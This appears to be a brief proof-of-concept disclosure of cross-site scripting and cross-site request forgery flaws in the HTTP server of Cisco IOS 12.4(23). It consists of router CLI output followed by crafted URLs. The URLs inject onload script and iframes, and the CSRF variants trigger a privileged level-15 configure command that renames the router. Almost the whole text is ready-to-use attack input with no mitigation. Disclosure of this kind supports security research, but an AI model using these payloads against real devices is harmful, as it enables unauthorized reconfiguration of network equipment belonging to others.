Cisco IOS XSS/CSRF Vulnerability

furchtbar#sh ver | i IOS Cisco IOS Software, C2600 Software (C2600-ADVSECURITYK9-M), Version 12.4(23), RELEASE SOFTWARE (fc1) furchtbar#show ip http server status | include status HTTP server status: Enabled HTTP secure server status: Enabled furchtbar#sh ip int br | i up FastEthernet0/0 192.168.1.2 YES NVRAM up up ... [XSS] http://192.168.1.2/level/15/exec/-/"><body onload=alert("bug")> http://192.168.1.2/level/15/exec/-/"><iframe onload=alert("bug")> http://192.168.1.2/exec/"><body onload="alert('bug');"> [CSRF] http://192.168.1.2/level/15/exec/-/"><body onload=window.location='http://192.168.1.2/level/15/configure/-/hostname/BUGGY/CR'> http://192.168.1.2/exec/"><iframe src="http://192.168.1.2/level/15/configure/-/hostname/BUGGY/CR">